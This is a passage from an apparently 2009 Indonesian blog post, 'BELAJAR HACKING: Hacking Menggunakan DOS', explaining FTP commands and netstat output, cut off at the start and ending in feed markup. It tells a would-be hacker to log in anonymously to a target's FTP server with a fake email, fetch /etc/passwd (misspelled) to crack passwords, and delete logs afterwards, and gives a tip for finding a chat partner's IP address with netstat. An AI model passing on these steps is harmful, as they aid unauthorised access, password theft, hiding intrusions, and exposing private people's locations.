mengupload file. Dan apa yang hacker inginkan dari ini? Benar!! Tinggal mengeti “ftp target.com” dan daemon banner akan ditampilkan. Tapi disini, dengan tujuan menampilkan file transfer pertama kali anda harus login. Beberapa website mengijinkan adanya naonymous login.  Contohnya mengetikkan login “anonymous” dan email-address anda sebagai password. Tentunya anda harus mengetikkan email palsu. Sekarang anda boleh mulai mendownload dan mengupload file. Namun untuk itu anda adanya suatu perintah. Pada FTP prompt anda dapat mengetikkan “?”. Maka akan ditampilkan sbb: &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;! delete literal prompt send&lt;br /&gt;? debug ls put status&lt;br /&gt;append dir mdelete pwd trace&lt;br /&gt;ascii disconnect mdir quit type&lt;br /&gt;bell get mget quote user&lt;br /&gt;binary globe mkdir recv verbose&lt;br /&gt;bye hash mls remotehelp&lt;br /&gt;cd help mput rename &lt;br /&gt;close lcd open rmdir&lt;br /&gt;&lt;br /&gt;Untuk mendaptkan bantuan pada berbagai perintah contohnya perintah delete, mengetikan “? Delete”. Beberapa perintah penting lainnya adalah:&lt;br /&gt;&lt;br /&gt;1. 'pwd' to know the present directory at remote machine. &lt;br /&gt;contohnya. ftp&gt;pwd&lt;br /&gt;/etc/home&lt;br /&gt;2. 'lcd' to change the local directory.&lt;br /&gt;contohnya. ftp&gt;lcd C:\windows&lt;br /&gt;local directory now C:\windows&lt;br /&gt;3. 'cd' to change the remote directory.&lt;br /&gt;contohnya. ftp&gt;cd /etc&lt;br /&gt;remote directory now /etc &lt;br /&gt;4. 'mput' to send multiple files to remote machine.&lt;br /&gt;contohnya. ftp&gt;mput *.*&lt;br /&gt;sends all files from C:\windows to /etc&lt;br /&gt;5. 'mget' to get multiple files from remote machine.&lt;br /&gt;contohnya. ftp&gt;mget *.*&lt;br /&gt;gets all files from /etc to C:\windows&lt;br /&gt;6. 'open' to establish a connection with remote host.&lt;br /&gt;contohnya. ftp&gt;open www.target.com&lt;br /&gt;7. 'bye' closes the connection and quits from ftp&lt;br /&gt;&lt;br /&gt;Untuk perintah lainnya dari ftp silakan lihat help mereka.&lt;br /&gt;&lt;br /&gt;Sekarang pada yang port FTP (prot 21) adalah membuka http://www.nosecurity.com/. Seorang hacker akan terhubung ke situs tersebut menggunakan “ftp http://www.nosecurity.com/” pada dos prompt. Kemudian dia akan mencoba login secara anonymous. Dengan anggapan bahwa http://www.nosecurity.com/ menggunakan linux server, maka hacker tersebut akan mengtikkan perintah “get /etc/apsswd” untuk mendaptkan file password dan mengcracknya. Jika anda adalah seorang hacker, maka jangan lupa untuk menghapus log tersebut. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5. netstat&lt;br /&gt;&lt;br /&gt;Anda dapat menentukan suatu koneksi dengan remote machine pada port tertentu, hanya saat port tersebut dibuka pada remote machine. Sebagai contoh, jika anda ingin menentukan sebuah koneksi dengan http://www.target.com/ pada port 23 (telnet) maka port tersebut seharusnya terbuka pada http://www.target.com/. Dan seluruh aktifitas hacking umumnya menggunakan port yang terbuka. Mengetikkan “netstat /?” pada dos prompt memberikan:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Displays protocol statistics and current TCP/IP network connections.&lt;br /&gt;&lt;br /&gt;NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]&lt;br /&gt;&lt;br /&gt;-a Displays all connections and listening ports.&lt;br /&gt;-e Displays Ethernet statistics. This may be combined with the -s&lt;br /&gt;option.&lt;br /&gt;-n Displays addresses and port numbers in numerical form.&lt;br /&gt;-p proto Shows connections for the protocol specified by proto; proto&lt;br /&gt;may be TCP or UDP. If used with the -s option to display&lt;br /&gt;per-protocol statistics, proto may be TCP, UDP, or IP.&lt;br /&gt;-r Displays the routing table.&lt;br /&gt;-s Displays per-protocol statistics. By default, statistics are&lt;br /&gt;shown for TCP, UDP and IP; the -p option may be used to specify&lt;br /&gt;a subset of the default.&lt;br /&gt;interval Redisplays selected statistics, pausing interval seconds&lt;br /&gt;between each display. Press CTRL+C to stop redisplaying&lt;br /&gt;statistics. If omitted, netstat will print the current&lt;br /&gt;configuration information once.&lt;br /&gt;&lt;br /&gt;Opsi akan menjelaskan fungsinya masing-masing. Dan yang terpenting adalah opsi –a dan –n. Opsi –a menampilkan seluruh port yang terbuka pada mesin tersebut. Dan jika saya menggunakan opsi –n maka akan menunjukkan ip address sebagai ganti dari domain. Saya mendapatkan hal berikut ini jika saya mengetik “netstat –a” pada command prompt.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Active Connections&lt;br /&gt;&lt;br /&gt;Proto             Local Address                          Foreign Address                          State&lt;br /&gt;TCP              chintan:1027                             0.0.0.0:0                                      LISTENING&lt;br /&gt;TCP             chintan:80                                 0.0.0.0:0                                         LISTENING&lt;br /&gt;TCP              chintan:135                              0.0.0.0:0                                         LISTENING&lt;br /&gt;TCP             chintan:6435                             0.0.0.0:0                                         LISTENING&lt;br /&gt;TCP             chintan:1025                              0.0.0.0:0                                         LISTENING&lt;br /&gt;TCP             chintan:1026                             0.0.0.0:0                                         LISTENING&lt;br /&gt;TCP             chintan:1028                             0.0.0.0:0                                         LISTENING&lt;br /&gt;TCP             chintan:1309                             0.0.0.0:0                                         LISTENING&lt;br /&gt;TCP             chintan:1310                             0.0.0.0:0                                         LISTENING&lt;br /&gt;TCP             chintan:1285                             rumcajs.box.sk:80                             ESTABLISHED&lt;br /&gt;TCP             chintan:1296 l                            an-202-144-78-3.maa.sify.net:80     CLOSE_WAIT&lt;br /&gt;TCP             chintan:1297                             lan-202-144-65-14.sify.net:80         ESTABLISHED&lt;br /&gt;TCP             chintan:1310                             cdn-v13.websys.aol.com:80             ESTABLISHED&lt;br /&gt;TCP             chintan:1220                             aiedownload.cps.intel.com:ftp             ESTABLISHED&lt;br /&gt;&lt;br /&gt;”Proto” menyatakan nama protocol tersebut, “localaddress” memberikan ipaddress kita dan port yang terbuka. “Foreign Address” menyatkaan ipaddress dengan namor port yang terhubung ke kita. “State” menyatakan pernyataan saat ini jika suatu koneksi “established” atau listening atau hanya “waiting”.&lt;br /&gt;&lt;br /&gt;Sebagai contoh jika saya membuka http://www.yahoo.com/ maka saat saya menjalankan “netstat –a” saya akan mendapatkan masukan seperti ini:&lt;br /&gt;&lt;br /&gt;"TCP 203.43.50.81:2034 www.yahoo.com:80 ESTABLISHED" &lt;br /&gt;&lt;br /&gt;Komputer saya dengan ip 203.43.50.81 melalui port 2034 terhubung dengan yahoo pada port 80&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*************&lt;br /&gt;Newbie tip: Dengna cara ini anda bisa mendapatkan ip seseorang yang chatting dengan ada. Pertama kali jalankan “netstat –an” dan lihat dibawah foreign ip address. Sekarang mulailah private chating dengan orang lain. Juga jalankan “netstat –an” dan anda akan mendapatkan satu lagin foreign ip pada akhirnya. Inilah ip orang tersebut. &lt;br /&gt;*************&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-5475979223035579792?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/5475979223035579792/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-hacking-menggunakan-dos.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/5475979223035579792'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/5475979223035579792'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-hacking-menggunakan-dos.html' title='BELAJAR HACKING : Hacking Menggunakan DOS'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry></feed>
